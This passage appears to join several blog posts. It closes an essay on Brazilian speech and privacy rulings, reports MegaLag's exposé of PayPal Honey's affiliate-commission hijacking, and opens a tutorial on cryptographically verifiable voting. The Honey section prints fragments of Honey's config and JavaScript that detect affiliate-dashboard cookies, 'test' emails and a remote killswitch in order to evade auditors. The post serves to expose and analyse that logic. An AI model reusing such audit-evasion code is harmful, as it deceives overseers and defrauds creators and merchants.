The Supreme Court itself has ruled this, more than once. In a 2019 constitutional case (ADPF 601), Gilmar Mendes protected Glenn Greenwald during Vaza Jato with a sentence that should be framed: source secrecy “prevents the State from using coercive measures to constrain professional activity and to rummage through the way in which what is brought to public knowledge is received and transmitted.” “Rummage through the way it is received” is literally what the forensic analysis of the devices did.

For the record, the Court’s defense exists and deserves to be presented: the investigation targets the illegal monitoring of a minister and his family, with license plates, security agents’ names, and clandestine images of children published; the Federal Police says Cutrim used his public office to access restricted systems; and there’s a R$ 100,000 transfer from a second suspect to the journalist, whose nature nobody has proven yet. The files are sealed, so neither version is verifiable from the outside. There may be a crime there. But that’s exactly why the order of operations matters: first you investigate by lawful means, then — maybe, in the most exceptional cases — you discuss exceptions. Reversing that order turns the exception into the method.

The reaction was the usual one, only louder: the press associations Abraji, ANJ and ABERT, the Inter American Press Association, and editorials from the country’s three biggest newspapers on the same day. Estadão wrote that the fake news inquiry “has been converted into an instrument of intimidation.” Miro Teixeira, the lawyer who struck down the dictatorship’s Press Law in 2009, said the Court is acting “momentarily as a tribunal of exception”.

Remember this: source secrecy wasn’t repealed, it was bypassed. Nobody coerced the journalist; they seized his devices and the source surfaced in the forensics. The guarantee still exists, but only on paper.

Conclusion: is Brazil becoming a censored country?

It’s the pattern that worries me, not the isolated episodes. In 2024, X spent a month offline in Brazil by monocratic order. In 2025, art. 19 of the Marco Civil fell and platform liability went proactive. In 2026, the Digital ECA Law handed the Executive a package of obligations so intrusive that, the first time it was used, it took down an encrypted feature nationwide — while the 14-year-old leader of the group that motivated the sanction faces, at most, three years of internment. And journalistic source secrecy was breached forensically, with the blessing of the same court that enshrined it.

Every rung of that ladder has a sympathetic justification, and that’s exactly why the ladder is dangerous. Nobody builds censorship infrastructure saying it’s for censorship. You build it to protect children, to protect ministers, to protect democracy.

The problem is that infrastructure has no moral owner. The ruler that measures Discord today measures any app tomorrow. The enforcement that demands plaintext streams today to protect Lívia will demand plaintext for whatever the government of the day wants to see. The source breach that catches the Dino case’s source today catches any source, in any case, against anyone.

And the week’s most revealing detail: of the two platforms the Ministry of Justice asked to investigate, the sanctioned one is the one with an office, a tax ID, and lawyers in Brazil — the one that cooperates. The message the regulator sent the market is inverted: cooperating exposes you; being opaque protects you. The teenagers from the Naviraí neo-Nazi group aren’t going anywhere — they’re going to Telegram, which nobody touched.

And there’s the most Brazilian trait of all in this arrangement: it became impossible to be on the right side of the law. If you truly protect your users with end-to-end encryption, you violate the Digital ECA Law. If you comply with the Digital ECA Law, you open up your users’ data and violate the LGPD. If you collect IDs for age verification, you become a leak target and a sanction target; if you don’t collect, you become an enforcement target. There is no safe configuration.

And that’s a tradition of ours: laws so broad, with so many stacked exceptions, that anyone becomes an offender by accident on any street corner. When everyone is always in violation, the law stops being a rule and becomes an option — real power migrates to whoever chooses whom to apply it against. That’s what happened this week: two platforms investigated, one punished. The one with a local address.

Protecting children is a non-negotiable civilizational duty. Investigating crimes against a minister is the State’s obligation. The question that remains isn’t whether those causes are legitimate — they are. It’s whether Brazil can still pursue legitimate causes without demolishing the guarantees that make the country a liberal democracy: real privacy, functional encryption, a press with protected sources. This week, the answer was no three times in a row.

It’s not regime censorship. In a way it’s worse: it’s censorship by accumulation, voted, signed, and applauded, every brick carrying a little plaque of good intentions. And you only notice the wall when it’s already around you.

Now imagine finding out that one of your sponsors was planted at your viewers’ checkout, swapping your tag for theirs and pocketing those commissions. Millions of times. For years.

That’s what MegaLag showed in December 2024, exposing the practices of Honey, the coupon extension PayPal bought for $4 billion that promised to “find every coupon code on the internet” for you. I’ve followed his channel since that video and became an instant fan: this is technical journalism with live demos, code, and packet captures, not just loud accusations.

A year and a half later, the story has only gotten thicker: PayPal tried to dismiss it all as fake news, MegaLag came back with irrefutable technical evidence, Rakuten and other affiliate networks publicly cut Honey off, and the whole thing became a class action that just survived a motion to dismiss.

The video timeline, since these are the primary sources for this article:

1. Exposing the Honey Influencer Scam, December 21, 2024
2. Exposing Honey’s Evil Business Model (PART 2), December 22, 2025
3. The Honey Scam is Worse Than I Thought, December 30, 2025
4. Honey Gets Terminated as Lawsuits Proceed, August 11, 2026 (yesterday)

I’m telling this story in three acts: the last-click trick against creators, the extortion model against stores, and the defeat device that fooled the networks’ auditors. The technical core, the part that matters to us developers, is in the third act. But without the first two it makes no sense.

What Honey was supposed to be

The consumer pitch was irresistible: a free extension that, right at checkout, tries every known coupon code and applies the best one to your cart. “It’s literally free money.” And no, they swore, they didn’t sell your data.

For content creators, Honey was a generous sponsor. MegaLag mapped roughly 5,000 sponsored videos across more than 1,000 channels, adding up to nearly 8 billion views. MrBeast was the first big name, and former Honey president Joanne Bradford bragged: “every kid in America knows what Honey is.”

Creators got easy money for recommending a tool that seemed useful. The irony, which the first video exposes in exquisite detail: those same creators were installing on their audiences, the audiences most likely to click their affiliate links, the tool that was stealing those very commissions.

For stores and marketplaces, Honey sold itself as a conversion tool: less cart abandonment, higher average order value. And there was an extra, shadier pitch, right in the partner FAQ and on Honey’s own podcast: the store controlled which coupons went live. So the consumer story was “we find every code,” while the merchant story was “you keep consumers from finding your good codes.” Both stories were official.

Affiliate marketing in 30 seconds

To understand the crime, you need to understand the victim. Affiliate marketing works like this: a creator posts a link with a tracking tag (like ?tag=shortcircuit on a Newegg link). You click, the store drops a cookie good for about 30 days, and if you buy anything in that window, the commission goes to whoever generated that click.

MegaLag has a good analogy for this: it’s like the department-store salesman who helps you, hands you a referral card with his name on it, and the cashier knows whose sale it was. The affiliate cookie is the digital version of that card.

The industry standard is last-click attribution: the last click takes everything. Not the fairest system in the world, but the simplest to implement. And here’s where the trouble lives: whoever shows up in the final second before payment always wins. And who shows up in the final second? A browser extension that wakes up exactly on the checkout screen. It’s as if a second salesman, one who never helped you at all, snatched the card from your hand in the checkout line and handed over his own instead.

What Honey actually did

The first video documents the scenarios, all variations on the same trick:

• The coupon popup: you click “apply discounts,” Honey opens a tiny hidden tab that simulates an affiliate click with PayPal’s tag, then closes itself. Your creator’s cookie gets overwritten. Commission stolen, even when Honey finds no coupon at all.
• Honey Gold: when there’s no coupon, up pops an offer for cashback points. Click it, same thing: last click, PayPal’s commission.
• The empty popup: no coupon, no cashback, Honey still pops up so you’ll click “got it.” Clicked to dismiss? Too late, the click counted.
• The PayPal button: at a checkout that already offers PayPal, Honey shows a “check out with PayPal” button. Any excuse works to grab that last click.

MegaLag’s NordVPN experiment makes it concrete: a 40% commission program. Two purchases made through his own affiliate link. Without Honey: $35 in commission. With Honey Gold activated: $0. His cut, as the “consumer,” of the loot stolen from himself? 89 points, or 89 cents. Honey kept 97.5% of what was rightfully his.

Remember this: even when you click the creator’s affiliate link, the commission goes to PayPal if Honey shows up at checkout. In the NordVPN test, out of $35 in commission, the “benefit” left for the user was 89 cents.

And this was no hypothesis, it was happening at industrial scale. The first video’s central example uses Linus Tech Tips’ affiliate tag on Newegg: Linus Media Group promoted Honey for years, across something like 160 sponsored segments, and ended the partnership in 2022 after noticing Honey overwrote their affiliate link even when it found no discount at all. Notice the demographic trap: whoever installs a coupon extension is exactly the viewer who hunts prices and clicks affiliate links. Honey paid the sponsorship once and went on taxing the creator’s future commissions forever.

So far, the victim was the creator. The second video shows the other side of the counter: the stores.

The business model against the stores

The extension’s supported domains file listed over 180,000 stores, against “30,000 participating” in the marketing. The spreadsheet analysis (a developer crawled the whole thing and published it) showed 146,000 stores with no relationship at all, included presumably without consent.

There’s more: a coupon typed manually at checkout was sent to Honey’s servers before asking for consent. And private codes leaked into the public database: military discounts, employee codes, a $75-off code with no minimum order that meant unlimited free merchandise.

The damage was measurable. One store owner reported a $100,000 loss after the exclusive code from the podcast he sponsored leaked into Honey’s database, and he only noticed months later, long after the podcast’s affiliate commission had evaporated. Chip, the CEO of Made In Cookware, summed up the effect: “if Honey is going to take 10% of your revenue all the time, at the end of the day you’re forced to raise prices.”

And when a store owner asked to be removed, the official answer was “we typically do not remove codes unless we have a working relationship,” which MegaLag accurately calls economic extortion: stores don’t pay to get in, they pay to get out.

Stand down: the rule Honey pretended to follow

Against all of this, PayPal’s defense was always the same: “Honey follows industry rules and practices, including last-click attribution.” A clever rhetorical exit, because you can argue about whether last-click is fair. What comes next is different in nature: proof that Honey knew it was in the wrong and built a system to avoid getting caught.

Some context first. Affiliate networks (Rakuten Advertising, CJ, Impact, Awin) have known since 2002 that browser extensions are natural parasites in this ecosystem. So they created a contractual rule called stand down: if the user already arrived at the store through another affiliate’s link, the extension must deactivate itself and not interfere. Period. It’s written into the contracts. Rakuten’s policy, for instance, says the publisher must “stand down and not display any forms of sliders or pop-ups” when another affiliate has already referred the user, and “must not force clicks or cookie stuff.”

And Honey complied. Technically. When tested.

Which brings us to the heart of the third video, what MegaLag calls Cookie Gate, and his analogy is exact: Volkswagen’s Dieselgate. VW programmed its cars to lower emissions only during lab tests. Honey programmed its extension to respect stand down only when it detected the user was probably an auditor.

Remember this: stand down has been a contractual obligation since 2002, not a courtesy. If the user arrived at the store through another affiliate’s link, the extension must back off. Honey backed off only when the user smelled like an auditor.

The evidence: ssd.json, line by line

After PayPal bought Honey, the extension was rewritten and the rules started arriving in plain text from a server. That let MegaLag expose the entire mechanism, and let Ben Edelman, the security researcher who worked the eBay affiliate-fraud case in the 2000s, verify all of it independently (his full analysis here).

First architectural point: the stand-down rules live in the cloud, not in the extension. The extension fetches two JSON files from Honey’s servers and checks for updates every hour: standdown-rules.json (the normal rules) and ssd.json (the selective stand-down rules). Meaning: PayPal could change the behavior of ~14 million users within an hour, with no extension update, no Chrome Web Store review, no one watching.

Second: the normal rules were already a joke. The stand-down timer, how long Honey respects the original affiliate’s cookie, was 3,600 seconds. One hour. Clicked your favorite YouTuber’s link in the morning, bought in the afternoon, Honey could act again. And a 2023 Wayback Machine capture shows it was once 360 seconds. Six minutes. As MegaLag says, it takes him more than six minutes just to type in his credit card. No affiliate network defines any such expiry. Honey made one up.

Third, the main course. This is the ssd.json captured on October 22, 2025 (comments are mine):

{"ssd": {
  "base": {
    "gca": 1,      // check for affiliate console cookies
    "bl": 1,       // check the server-side blacklist
    "uP": 65000,   // minimum points to IGNORE stand down
    "adb": 26298469858850
  },
  // domains where "industry insider" cookies get checked:
  "affiliates": ["https://www.cj.com", "https://www.linkshare",
                 "https://www.rakuten.com", "https://ui.awin.com",
                 "https://www.swagbucks.com"],
  "LS": { "uP": 5001 },  // Rakuten exception (formerly LinkShare)
  "PAYPAL": { "uL": 1, "uP": 5000001, "adb": 26298469858850 }
  },
  "ex": {  // per-store exceptions (Honey internal IDs)
    "7555272277853494990": { "uP": 5001 },                         // TJ Maxx
    "7394089402903213168": { "uL": 1, "adb": 120000, "uP": 1001 }, // Booking.com
    "243862338372998182": { "uL": 0, "uP": 100000 },               // Kayo Sports
    // cookies to look for, in the SAME ORDER as the domains above:
    "GA": ["CONTID", "s_vi", "_ga", "networkGroup", "_gid"]
  }
}

How it works: when the extension detects you clicked an affiliate link, it consults these rules before deciding whether to honor stand down:

• uL (user logged in): you must be logged into a Honey account.
• uA (user account age): your account must be a minimum age, 30 days, in milliseconds, “for whatever reason,” as MegaLag notes. A brand-new account is the signature of someone testing the extension for an audit.
• uP (user points): you must have accumulated a minimum of cashback points. In the current config: 65,000 points. Since 1,000 points redeem for $10 in gift cards, that’s $650 in lifetime earnings, which rules out virtually every real user and certainly every auditor on a test account.
• bl (blacklist): the server can flag your ID, cookie, or IP (anyone who ever complained about Honey, say) and treat you as “high risk.”
• gca: the most incriminating of all, and it gets its own paragraph.

If you pass every filter, the system classifies you as a legitimate consumer and Honey ignores stand down and takes the commission. Fail any one, it classifies you as a possible auditor and Honey behaves impeccably. Edelman sums it up: “Honey stands down, but only sometimes. And the sometimes is predictable.” Deterministic, actually: same conditions, same result, reproducible.

The gca: checking your pockets for an inspector’s badge

The gca is the digital equivalent of patting you down for a regulator’s badge. The affiliates and GA lists are positionally paired: on the cj.com domain, look for the CONTID cookie; on linkshare, s_vi; on ui.awin.com, networkGroup. The code, recovered via sourceMappingURL from the iOS app that leaked practically unobfuscated:

m = p.ex && p.ex.GA || []
g = i().map(p.ssd && p.ssd.affiliates, (function(e) {
    return f += 1, u.A.get({
        name: m[f], // cookie name from the GA array
        url: e      // domain to check
    }).then((function(e) {
        e && (o.gca = 0) // cookie found: gca = 0, enter compliance mode
    }))

If you carry a login cookie from the CJ, Rakuten, or Awin affiliate dashboards, that is, if you work in the industry, Honey honors stand down on everything, always, no matter the link. MegaLag discovered this by accident while testing his own extension (Cookie Guard): he logged into his CJ affiliate account in another tab, and suddenly Honey turned into an angel.

And notice the cynical design detail: domains and cookie names sit in two separate lists instead of name-value pairs. As Edelman points out, the effect is to make the relationship between them harder to spot for anyone skimming the file.

Edelman is categorical about what this means: there is no legitimate reason for a coupon extension to check whether you logged into an affiliate dashboard. The only function is hiding from the people who enforce the rules. And whoever hides knows they’re doing something prohibited.

The other tricks: the “test” email, the killswitch, and eBay

Two more gems in the code. The extension scans your email address for the word “test”. Found it, compliance mode:

if (r.email && r.email.match("test") && (o.bl = 0), !r.isLoggedIn || t) {

And there’s a master killswitch on the server: the extension periodically fetches a URL, and depending on the response the entire SSD system turns on or off:

return e.next = 7, fetch("".concat("https://s.joinhoney.com", "/ck/alive"));

c = S().then((function(e) {
    e && "alive" === e.is && (o.bl = 0)
}))

One flip on the server and 14 million extensions go into compliance mode instantly. Handy, say, on the day a big audit gets announced.

And eBay? eBay gets VIP treatment, straight in the code: while normal stand down lasts one hour, eBay’s lasts 86,400 seconds (24 hours), and the SSD logic is explicitly disabled for eBay domains:

"regex": "^https?\\:\\/\\/rover\\.ebay((?![\\?\\&]pub=5575133559).)*$",
"provider": "LS",
"overrideBl": true,
"ttl": 86400

a = "ssd" === r && !/ebay/.test(p);

Why? Because in 2008 eBay brought civil and criminal charges against its two biggest affiliates, Shawn Hogan and Brian Dunning, who collected over $20 million in 18 months running cookie-stuffing schemes, and both went to jail. Edelman himself helped catch them. Honey knew exactly who not to mess with. The rest of the market, apparently, was fair game.

Telemetry: the evidence that documents itself

The part that made my jaw drop: from day one, the defeat device logged every decision it made. When the extension decides to honor stand down, it sends telemetry with "method":"suspend" and a state saying exactly which rule fired, "uP:5001", "gca", "ssd", along with the original affiliate link, which frequently contains the stiffed affiliate’s ID and sometimes their name.

Somewhere on PayPal’s servers sits a detailed record of every commission this system helped steal. MegaLag closes the fourth video urging the networks to demand that data and claw the money back. Hard to argue with that.

How MegaLag proved it on the public extension

One bit of engineering that deserves respect. After the first video, PayPal raised the base threshold to 65,000 points, effectively switching the mechanism off for nearly everyone and narrowing the sketchy behavior. Except whoever edited the ssd.json forgot the Rakuten exception: "LS": {"uP": 5001}.

MegaLag went on what he calls a “painfully expensive shopping spree” until he crossed 5,000 points, and reproduced the fraud on the public extension, untouched, without modifying a single line. (Edelman did it the easy way: he intercepted the server’s response with Fiddler and lied about his own points balance. His code is in the article linked above.)

The PayPal rewrite

The system’s genealogy, reconstructed by MegaLag from ~300 archived extension builds going back to 2014:

• October 2017: the SSD first appears, in version 10.5.2, still under founders Ryan Hudson and George Ruan, but encrypted, scrambled, unreadable to anyone who stumbled on it. Researcher Wladimir Palant had already documented in 2020 that Honey concealed chunks of its own code.
• March 2021: under PayPal, version 13.1.0, the entire system was rebuilt. The rules were restructured into a new format and started living in plain text on PayPal’s servers. That careless rewrite is what exposed everything.

Hold that thought and compare it with PayPal’s official statement after the roof caved in:

“The code causing this behavior has been identified and no longer has an impact. The code was implemented prior to PayPal’s acquisition and appears to affect less than 0.1% of Honey’s traffic.”

— PayPal to Hello Partner, January 2026

MegaLag calls that what it is: a lie. You don’t rebuild a system from scratch, tune its rules year after year, and then claim you had no idea it existed.

The timeline gives it away: MegaLag asked PayPal for comment on December 18, 2025; they called the accusations “not accurate” and sent the lawyers after him. Rakuten cut Honey from its network on January 12, 2026. The defeat device was deactivated on January 13, one day later, almost a month after the warning. And “0.1% of traffic” is empty rhetoric: the rules live on the server, so the targeting was always remotely tunable. Under the 2023 rules, the target was practically everyone.

The fallout

After Cookie Gate, things moved:

• Rakuten Advertising (January 12, 2026): terminated Honey from the entire network, more than 2,000 stores, including Walmart, Lego, Sephora, Newegg, Uniqlo, and Samsung. The sordid detail: internal emails that surfaced in the litigation show Rakuten knew about stand-down violations as early as July 2020 and kept Honey anyway, and PayPal even replied that Rakuten’s stand-down policies were “overreach.” In May 2026 Rakuten quietly let Honey back in, after publishing an open-source stand-down SDK that Honey implemented.
• Impact (January 16): removed Honey from its discovery marketplace and suspended the account, confirming a breach of “universal stand-down requirements.”
• Awin (January 21): the biggest network affected, with over 16,000 merchants. Confirmed “breaches of our publisher policies,” suspended payments, and imposed a remediation plan that includes giving the networks access to Honey’s source code.
• Google: in March 2025 the Chrome Web Store started requiring a “direct and transparent user benefit” for any extension injecting affiliate links. Honey’s workaround was switching on 0.1% to 1% cashback at nearly every partner store. Technically a benefit, practically loose change.
• The market responded: Honey lost about 7 million users (from 20 million to 14), over 7,000 stores (from ~35,000 to ~28,000), and the coupon database shrank from ~90,000 to ~50,000 codes. Apple, which alone generated more monetizable traffic than the bottom 27,000 stores combined, walked.

The class action

Here’s where David meets Goliath in court. Days after the first video, on December 29, 2024, Wendover Productions (Sam Denby’s company) filed the first suit; Devin Stone of LegalEagle, an actual attorney, organized the effort, and some twenty firms filed similar complaints across several states, with GamersNexus as lead plaintiff in one of them. The cases were consolidated in the Northern District of California: In re PayPal Honey Browser Extension Litigation, case 5:24-cv-09470-BLF, Judge Beth Labson Freeman.

The claims in the current complaint: unjust enrichment, intentional interference with contractual relations and with prospective economic advantage, violations of the Computer Fraud and Abuse Act (the American anti-hacking law), California’s computer data access and fraud statute, and the unfair competition laws of California and Washington.

The procedural timeline is a soap opera:

• November 2025: PayPal tried to force arbitration and lost. Weeks later, Judge Freeman dismissed the first complaint, with leave to amend, because the affiliate contracts were with the merchants, not PayPal, and the Monte Carlo simulation the plaintiffs used to estimate damages didn’t persuade her. Ryan Hudson tweeted “Case dismissed” and did a little victory lap. Hello Partner, the industry trade publication that had Honey as premier sponsor of its flagship conference, rushed out a piece on “what MegaLag got wrong.”
• January 2026: the second complaint arrived at 101 pages, ten named plaintiffs, the actual merchant contracts, test-purchase evidence and, crucially, the Cookie Gate findings baked in. Page 65 describes the defeat device in detail: “PayPal devised several methods to ignore or circumvent stand down protocols,” including detecting visits to affiliate network websites, which the complaint calls “arguably the most glaring reveal of PayPal’s bad intent.”
• June 4, 2026: second hearing. The judge warned PayPal’s attorney, Richard Jacobson, the same lawyer who signed the cease-and-desist against MegaLag, that he had “an uphill battle.” When the defense argued that affiliate IDs are “just short strings of numbers and letters” with no intrinsic value, the judge replied that you could say the same thing about a dollar bill. Jacobson: “I don’t know how to respond to that.”
• June 22, 2026: the motion to dismiss was denied in full. Every claim survived. The case now moves into discovery: internal documents, communications, depositions, possibly of the founders and PayPal’s own engineers. Trial, if it happens, late 2027. MegaLag’s guess, and mine too: PayPal will try to settle to bury those depositions.

Worth noting: a parallel UK consumer suit over the misleading “best coupons” advertising was dismissed in June 2026. And Capital One Shopping, sued over a similar scheme, settled in September 2025 denying liability.

Conclusion

What gets me about this whole story is PayPal’s behavior at every step. Accused with video and live demonstrations, they called it fake news. Confronted with the code, they sent a cease-and-desist and tried to get the video pulled from Patreon with a copyright claim. Formally alerted about the defeat device, they called it “not accurate” and waited for Rakuten to act before switching it off. Caught, they announced they’d “recently discovered” a system the company itself rebuilt in 2021.

At every rung, the choice was deny, threaten, minimize, until the evidence made the position untenable; then retreat half a step pretending surprise.

Honey, as a product, is a lost cause. Even if you don’t care about the ethics of skimming creators’ commissions, remember what Amazon warned back in 2020: this is an extension with permission to read and modify your data on any website, one that scans your cookies, logs your browsing history with geolocation, and applied knowingly expired coupons just to keep the numbers up. Uninstall it. No coupon is worth that.

And there’s an inspiring side to this: one motivated developer from New Zealand, armed with a packet sniffer, a test account, and patience, did what billion-dollar networks with compliance teams couldn’t do in eight years. His weapon was a plain-text JSON file and a few dozen lines of JavaScript that PayPal itself served to anyone who bothered to look. The line that closes the fourth video sums up the arrogance he brought down:

“When I’m wrong, I’m MegaLag. When I’m right, I’m just an industry commentator.”

Well, now he’s a de facto technical witness in a federal case. David won this round. And it was beautiful to watch.

Recently the TSE put on a little theater show: it “opened up the voting machine” so technicians from the Brazilian Computer Society could look at the components. That’s obviously useless. Showing a motherboard, a processor, and some memory chips proves there’s no malware the way looking at a car’s engine proves the driver is sober. Hardware is just the stage; the play happens in the software. And auditing the software is precisely what’s hard, restricted, full of ritual and short windows — which completely defeats the purpose of public transparency. An audit that only a handful of credentialed people can perform, under supervision, for a few days, is not transparency. It’s a performance.

And for the record: I’m not defending the current system, and I have zero expectations for it. As I summed up in this tweet: the voting machine is just a box, an old PC. Even if the software were perfect, it wouldn’t matter — the processes around it stay secret, done behind closed doors. The machine is a smokescreen. With or without an alternative, I don’t care about it.

Many people conclude from this that the answer is digital elections, but with a different system. This article is a computer science exercise: what would a hypothetically perfect system look like? And, more importantly, the final conclusion: why even that perfect system would not be a viable option.

One thing worth emphasizing before we start: the system I’m about to describe would require no secrecy from the government. No secret components, no secret processes, no locked rooms with credentialed people standing guard. Everything — the code, the data, the whole structure — could be 100% open, accessible to anyone, no restrictions whatsoever. And it would still be possible to prove, mathematically, that fraud is impossible. It’s the exact opposite of the current model, where trust is born out of secrecy.

No patience for code and math along the way? Skip straight to the part where I explain why this wouldn’t work. And at the end of the article, three appendices: is the current system auditable?, how to reward voters who verify their vote, and why “zero knowledge” is so hard to swallow.

“The machine is safe because it’s not on the internet”

Sooner or later, every defender of the current system plays this card: the voting machine isn’t connected to the internet, so it can’t be hacked from the outside. Technically true. And completely beside the point.

First, because isolation says nothing about what the software does. An offline machine can flip votes just the same — you simply get no way to watch it happen. And malware doesn’t need a network to get in: it can come from the factory, from an update, from the supply chain, from a technician with physical access. Stuxnet, the most famous worm in history, crossed the air gap into Iran’s centrifuges on a USB stick. An air gap is an obstacle, not proof of honesty. And notice: the machine’s data has to leave it somehow at the end of the day, on physical media carried around or through later transmission. “Not on the internet” is a logistical half-truth.

Second, and more important: that argument exposes the wrong mental model. The current system’s security comes from physical custody — seals, locked rooms, accredited observers, rituals. In other words, once again, from trusting people and processes you cannot see.

In the system I’m about to describe, the machine could be plugged straight into the internet, publishing every vote to the public tree in real time, and fraud would still be impossible. Not because the network is safe, but because nobody needs to trust the machine:

• What it publishes are opaque commitments: even broadcasting everything live, there is no vote to leak in the published data.
• Every commitment carries a mathematical validity proof: the machine cannot mint an invalid vote.
• The tree is public and replicated by independent observers: nothing published can be altered later without breaking the hashes.
• And if the machine flips your vote at the booth, the Benaloh challenge catches it (that’s Building block 4, further down): it cannot know whether you’ll cast or audit.

Being online or not stops being the question. Security doesn’t live in the absence of a network; it lives in public verification. “Trust us, the machine is locked in a room” becomes “don’t trust anything, check the math.” That inversion is the one thing the current model cannot offer.

The tweet that inspired this post

I recently posted this tweet about end-to-end verifiability (E2E-V). The gist of the idea:

1. Every voter gets a paper receipt with a unique identifier — a hash — that identifies neither the person nor the vote.
2. Each precinct’s votes go into a public structure you can only append to, never delete from (append-only): a Merkle tree (the same principle as a blockchain).
3. That tree is published in full. Any citizen downloads and verifies it.
4. Individual verifiability: each voter checks that their hash is there, no middleman.
5. Universal verifiability: anyone recomputes the tree and checks that it produces the announced total.

I made it explicit in the tweet: this is not a solution, it’s a napkin sketch. The concept exists, it’s mathematically solid, and it’s old news to anyone in computer science. But the reaction was interesting.

The voto de cabresto problem

A lot of the comments got stuck on the same point: the voto de cabresto — the “halter vote”. It’s a historical practice in Brazil: the local political boss buys a poor voter’s vote and demands proof they voted “the right way”. Back in the day it was the pre-marked ballot; today it would be a photo of the voting machine’s screen (which is why phones are banned inside the booth).

And that raises an apparent contradiction:

• If the receipt the voter takes home reveals who they voted for, the vote can be coerced or sold.
• If the receipt doesn’t reveal who they voted for, how does the voter check that their vote went to the right candidate?

I recently posted the answer, albeit only in passing: zero-knowledge proofs (ZK). The same principle behind truly anonymous cryptocurrencies like Monero and Zcash.

The flow would go like this: the voter picks the candidate on the screen; the machine generates a secret random number, computes ciphertext = Enc(election_public_key, vote; random), produces a ZK proof that this ciphertext contains a valid vote, and publishes everything to a public Merkle tree. The voter takes home only a serial number. The serial does not contain the vote, but it lets you prove the vote exists in the tree and was not tampered with.

Here’s what this looks like for programmers, step by step, with real values. And at the end I’ll explain why, even working perfectly, this would fix nothing.

Building block 1: hash as commitment

The foundation of everything is the hash function. A function like SHA-256 takes any input and produces 32 seemingly random bytes. Three properties matter here:

• Deterministic: same input, same output. Always.
• One-way: given the hash, there’s no going back to the input.
• Avalanche: flip one bit of the input and the whole hash changes.

import hashlib

def commit(voto, nonce):
    return hashlib.sha256(f"{voto}:{nonce}".encode()).hexdigest()

commit('Candidato A', 987654321) = 337051f1dbc6a8ef412ecc14067c263d6a0dc83dada6939b51d74b6651727b69
commit('Candidato A', 123456789) = 55512bcd60924abf68d162f1a130023635089974db08ea9cff691e1f209898ab
commit('Candidato B', 987654321) = faf54e90eb84ba4c0446701c3779a382e48d02847bd2301f3836f673c54f9693

Look closely. The first and second hashes hide the same vote — what changes is the nonce, a random number that acts as “wrapping”. The first and third share the same nonce, but different votes. The three hashes have no visible resemblance to one another.

This is a commitment: I publish the hash today, and tomorrow I can reveal (vote, nonce) and anyone can check the hash matches. I can’t change my vote after publishing (the binding property), and nobody can figure out the vote before the reveal (the hiding property).

Except there’s a problem for our election: if the voter takes home both the vote and the nonce, they can show both to the coercer, who verifies the hash and confirms the vote. The halter is back. We need something better.

Building block 2: Pedersen commitments — hiding for real

The Pedersen commitment solves this with modular arithmetic. I’ll use toy numbers so you can check the math by hand; real systems use 2048-bit primes or elliptic curves, but the math is identical.

Take a prime p = 23 and two generators g = 4 and h = 8 (both generate a subgroup of order 11 modulo 23 — check it: 4^11 mod 23 = 1 and 8^11 mod 23 = 1). The commitment to a vote v with nonce n is:

C = g^v * h^n  (mod p)

p, q, g, h = 23, 11, 4, 8

def pedersen(v, n):
    return (pow(g, v, p) * pow(h, n, p)) % p

C(voto=1, n=3)  = 1
C(voto=1, n=9)  = 13
C(voto=0, n=3)  = 6

Same vote, different nonces, completely different commitments. Now the part that matters. Pedersen has a property called perfect hiding: for any commitment C, there exists a nonce that opens C as vote 0, and there exists a nonce that opens C as vote 1. With our toy prime we can prove it by brute force:

C = 1  # the commitment from above, C(vote=1, n=3)

for n in range(11):
    if pedersen(0, n) == C:
        print(f"C abre como voto=0 com nonce {n}")
    if pedersen(1, n) == C:
        print(f"C abre como voto=1 com nonce {n}")

C=1 abre como voto=0 com nonce 0
C=1 abre como voto=1 com nonce 3

Read that again, because this is the heart of the article. The commitment C = 1 is consistent with both stories. Anyone who sees only C has no way to know which one is true — not by brute force, not with a quantum computer, because both openings exist mathematically. The value C simply does not contain the vote’s information.

“Hold on,” you say, “so the voter can change their vote afterwards?” No, and that’s the other half of the property: the commitment is computationally binding. Whoever generated the commitment with (vote=1, n=3) can only reveal the other opening (vote=0, n=0) if they can compute a discrete logarithm — that is, find x such that g^x = h mod p. With p = 23 that’s trivial; with 2048 bits, it’s computationally impossible. To sum up:

• Outsiders can’t discover the vote (hiding).
• Whoever committed can’t change the vote afterwards (binding).

And the final detail that kills the halter vote: the machine generates the nonce, not the voter. The voter sees their choice on the screen, the machine makes the commitment internally, discards the nonce, and prints only the C — the serial. The voter leaves the booth with no way to open their own commitment, even if they want to.

(One implementation detail I’ll simplify from here on: Pedersen hides so well that nobody can decrypt it — not even the authorities at tally time. In practice, the machine also publishes an ElGamal ciphertext of the same vote: just as opaque to any outsider, but decryptable by the authorities at the tally, with a ZK proof that both carry the same vote. Our toy Pedersen plays both roles in this article, to keep the math on small numbers.)

Building block 3: the Merkle tree — a ballot box anyone can audit

Where do these commitments live? In a public structure anyone can download and verify: a Merkle tree. If you watched my video on cryptography in practice — certificates, BitTorrent, Git, Bitcoin, you’ve seen this structure in action: it’s the same one that scales BitTorrent, organizes Git commits, and packs the transactions of a Bitcoin block.

The construction is simple: each leaf is the hash of a vote (one voter’s commitment C), and each internal node is the hash of the concatenation of its two children, until a single hash remains at the top: the root.

def H(x):
    return hashlib.sha256(x.encode()).hexdigest()

eleitores = [(1, 3), (0, 7), (1, 2), (1, 10), (0, 5), (1, 1), (0, 8), (1, 4)]
leaves = [H(f"{i}:{pedersen(v, n)}") for i, (v, n) in enumerate(eleitores)]

With the 8 example votes, the leaves look like this (hashes abbreviated):

eleitor 0: voto=1 nonce=3  -> C=1  -> folha=ef134f2a180ba05d...
eleitor 1: voto=0 nonce=7  -> C=12 -> folha=ce356d2f943ea5af...
eleitor 2: voto=1 nonce=2  -> C=3  -> folha=8e0375adfc1f4563...
eleitor 3: voto=1 nonce=10 -> C=12 -> folha=df284a49f837c454...
eleitor 4: voto=0 nonce=5  -> C=16 -> folha=fd6df9e3530cb74f...
eleitor 5: voto=1 nonce=1  -> C=9  -> folha=e0e9d38f9ccb7a41...
eleitor 6: voto=0 nonce=8  -> C=4  -> folha=e719f7fde83fafda...
eleitor 7: voto=1 nonce=4  -> C=8  -> folha=1393ac80e69a8991...

RAIZ PUBLICA: 48826b6481b574e37156f85e34d877105bc55073fb5a5b981239572a8e7c4b61

(The votes and nonces in the table are shown in the clear only so you can check the math; the public tree holds only the leaves — opaque hashes.)

The root is the “summary” of the whole election: 32 bytes representing every vote. If a single bit of a single vote changes, the root changes completely. The root and the entire tree get published. Any citizen, at home, with open-source code, rebuilds the tree and checks whether the published root matches. That’s universal verifiability.

